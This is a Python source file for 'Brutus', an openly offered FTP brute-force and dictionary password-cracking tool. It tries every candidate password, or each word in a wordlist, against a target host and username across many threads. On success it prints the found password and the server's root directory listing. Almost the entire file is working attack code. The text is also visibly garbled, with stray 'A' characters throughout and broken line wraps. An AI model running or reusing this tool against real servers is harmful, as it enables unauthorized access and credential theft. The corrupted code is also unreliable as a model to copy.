################################################################################
# A  A tool: Brutus - FTP Brute-Force/Dictionary Attack Tool
# version: 0.3
# A  email: mrh at bushisecurity dot com
# A  A  www: bushisecurity.com/brutus/
################################################################################
# MIT License

# Copyright (c) 2017 Phillip Aaron

# Permission is hereby granted, free of charge, to any person obtaining
a copy
# of this software and associated documentation files (the "Software"),
to deal#A 
# in the Software without restriction, including without limitation the
rights#A 
# to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell#A 
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be
included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
# SOFTWARE.

importA argparse,A sys,A threading,A time
fromA datetimeA importA datetime
fromA itertoolsA importA chain,A product
fromA ftplibA importA FTP

# Create some global variables
classA glob:
A  A A pwdA =A FalseA # Used for stopping attack when password found
A  A  chrsetA =A ""A # Character set for brute-force
A  A  prefixA =A ""A # Prefix string
A  A  postfixA =A ""A # Postfix string
A  A  lengthA =A 8A # Default lenth of password
A  A  minlengthA =A 5A # Default min length of password
A  A  thrdsA =A 10A # Defualt num of threads
A  A  verbA =A FalseA # Default value for verbose output
A  A  pauseA =A 0.01A # Default throttle time, 1 = one second
A  A  cntA =A 0A # Counting number of attempts

# Iterable Method for brute-forcing a character set and length
defA bruteforce(charset,A maxlength,A minlength):
A  A A returnA (''.join(candidate)
A  A  A  A A forA candidateA inA chain.from_iterable(product(charset,A repeat=i)
A  A  A  A A forA iA inA range(minlength,A maxlength +A 1)))

# Method for making ftp connections
defA crack(host,A user,A pwd):
A  A A try:
A  A  A  A A ifA glob.verb:A # Check for verbose output
A  A  A  A  A  A A printA "["A +A str(glob.cnt)A +A "] Trying: "A +A pwd.strip()
A  A  A  A  ftpA =A FTP(host)A # Create FTP object
A  A  A  A A ifA ftp.loginA (user,A pwd):A # Check if true
A  A  A  A  A  A A printA "\nPassword for "A +A userA +A ": "A +A pwd.strip()
A  A  A  A  A  A A printA "=================================================="
A  A  A  A  A  A A glob.pwdA =A TrueA # Set global value
A  A  A  A  A  A A printA ftp.dir()A # Display contents of root FTP
A  A  A  A  A  A  ftp.quit()A # Disconnect from FTPA 
A  A A exceptA ExceptionA asA err:
A  A  A  A A passA # Ignore errors

# Method wait for threads to complete
defA wait(threads):
A  A A forA threadA inA threads:A thread.join()A A 

# Method for staging attack
defA main(args):
A  A A try:
A  A  A  A  startA =A datetime.now()A # Time attack started
A  A  A  A A printA "\nAttacking FTP user ["A + args.usernameA +A "] at ["A +
args.hostA +A "]"
A  A  A  A A printA "=================================================="
A  A  A  A  thrdCnt A =A 0;threadsA =A []A # Local variables
A  A  A  A A # Set global variables
A  A  A  A A ifA args.pause:glob.pauseA =A float(args.pause)
A  A  A  A A ifA args.verbose:glob.verbA =A True
A  A  A  A A ifA args.threads:glob.thrdsA =A int(args.threads)
A  A  A  A A ifA args.length:glob.lengthA =A int(args.length)
A  A  A  A A ifA args.minlength:glob.minlengthA =A int(args.minlength)
A  A  A  A A ifA args.charset:glob.chrsetA =A args.charset
A  A  A  A A ifA args.prefix:glob.prefixA =A args.prefix
A  A  A  A A ifA args.postfix:glob.postfixA =A args.postfix
A  A  A  A A ifA args.charsetA ==A None:A 
A  A  A  A  A  A A # Create charset from printable ascii range
A  A  A  A  A  A A forA charA inA range(37,127):glob.chrsetA +=A chr(char)
A  A  A  A A # Brute force attack
A  A  A  A A ifA args.wordlistA ==A None:
A  A  A  A  A 
A A forA pwdA inA bruteforce(glob.chrset,A int(glob.length),int(glob.minlength)):A #
Launch brute-force
A  A  A  A  A  A  A  A A ifA glob.pwd:A breakA # Stop if password found
A  A  A  A  A  A  A  A A ifA thrdCnt A !=A args.threads:A # Create threads until
args.threads
A  A  A  A  A  A  A  A  A  A A ifA args.prefix:
A  A  A  A  A  A  A  A  A  A  A  A A pwdA =A str(args.prefix)A +A pwd
A  A  A  A  A  A  A  A  A  A A ifA args.postfix:
A  A  A  A  A  A  A  A  A  A  A  A A pwdA +=A str(args.postfix)
A  A  A  A  A  A  A  A  A 
A A threadA =A threading.Thread(target=crack,A args=(args.host,args.username,pwd,))
A  A  A  A  A  A  A  A  A  A A thread.start()
A  A  A  A  A  A  A  A  A  A  threads.append(thread)
A  A  A  A  A  A  A  A  A  A  thrdCnt +=A 1;glob.cnt+=1
A  A  A  A  A  A  A  A  A  A A time.sleep(glob.pause)A # Set pause time
A  A  A  A  A  A  A  A A else:A # Wait for threads to complete A  A 
A  A  A  A  A  A  A  A  A  A  wait(threads)
A  A  A  A  A  A  A  A  A  A  thrdCnt A =A 0
A  A  A  A  A  A  A  A  A  A  threadsA =A []
A  A  A  A A # Dictionary attack
A  A  A  A A else:
A  A  A  A  A  A A withA open(args.wordlist)A asA fle:A # Open wordlist
A  A  A  A  A  A  A  A A forA pwdA inA fle:A # Loop through passwords
A  A  A  A  A  A  A  A  A  A A ifA glob.pwd:A breakA # Stop if password found
A  A  A  A  A  A  A  A  A  A A ifA thrdCnt A !=A args.threads:A # Create threads until
args.threads
A  A  A  A  A  A  A  A  A  A  A 
A A threadA =A threading.Thread(target=crack,A args=(args.host,args.username,pwd,))
A  A  A  A  A  A  A  A  A  A  A  A A thread.start()
A  A  A  A  A  A  A  A  A  A  A  A  threads.append(thread)
A  A  A  A  A  A  A  A  A  A  A  A  thrdCnt +=1;glob.cnt+=1
A  A  A  A  A  A  A  A  A  A  A  A A time.sleep(glob.pause)A # Set pause time
A  A  A  A  A  A  A  A  A  A A else:
A  A  A  A  A  A  A  A  A  A  A  A  wait(threads)A # Wait for threads to complete
A  A  A  A  A  A  A  A  A  A  A  A  thrdCnt A =A 0
A  A  A  A  A  A  A  A  A  A  A  A  threadsA =A []
A  A A exceptA KeyboardInterrupt:
A  A  A  A A printA "\nUser Cancelled Attack, stopping remaining threads....."
A  A  A  A  wait(threads)A # Wait for threads to complete
A  A  A  A A sys.exit(0)A # Kill app
A  A  wait(threads)A # Wait for threads to complete
A  A  stopA =A datetime.now()
A  A A printA "=================================================="
A  A A printA "Attack Duration: "A +A str(stop - start)
A  A A printA "Attempts: "A +A str(glob.cnt)A +A "\n"

ifA __name__A ==A "__main__":
A  A A # Declare an argparse variable to handle application command line
arguments
A  A A parserA =A argparse.ArgumentParser()
A  A A parser.add_argument("host",A action="store",A help="FTP host")
A  A A parser.add_argument("username",A action="store",A help="username to
crack")
A 
A A parser.add_argument("-w",A "--wordlist",A action="store",A help="wordlist
of passwords")
A 
A A parser.add_argument("-c",A "--charset",A action="store",A help="character
set for brute-force")
A  A A parser.add_argument("-l",A "--length",A action="store",A help="password
length for brute-force",A 
A  A  A  A  nargs='?',A default=8,A const=8,A type=int)
A  A A parser.add_argument("-m","--minlength",A action="store",A 
A  A  A  A  nargs='?',A default=1,A const=1,A help="Minimum password
length",A type=int)
A  A A parser.add_argument("-r","--prefix",A action="store",A help="prefix
each password for brute-force")
A  A A parser.add_argument("-o","--postfix",A action="store",A help="postfix
each password for brute-force")
A  A A parser.add_argument("-p",A "--pause",A action="store",A help="pause
time between launching threads",A 
A  A  A  A  nargs='?',A default=0.01,A const=0.01)
A  A A parser.add_argument("-t",A "--threads",A action="store",A help="num of
threads",A 
A  A  A  A  nargs='?',A default=10,A const=10,A type=int)
A  A A parser.add_argument("-v",A "--verbose",A action="store",A help="verbose
output",A 
A  A  A  A  nargs='?',A default=False,A const=True)
A  A A # Show help if required arg not included
A  A A ifA len(sys.argv[1:])==0:
A  A  A  A A parser.print_help()A A  A  A  A 
A  A  A  A A parser.exit()
A  A  argsA =A parser.parse_args()
A  A A ifA args.minlengthA !=A NoneA orA args.lengthA !=A None:
A  A  A  A A ifA args.minlengthA >A args.length:
A  A  A  A  A  A A printA "\n** Argument Logic Error **"
A  A  A  A  A  A A printA "Minimum password length [-m "+str(args.minlength)+"]
is greater than Password length [-l "+str(args.length)+"]\n"
A  A  A  A  A  A A parser.print_help()A A  A  A  A 
A  A  A  A  A  A A parser.exit()
A  A  main(args)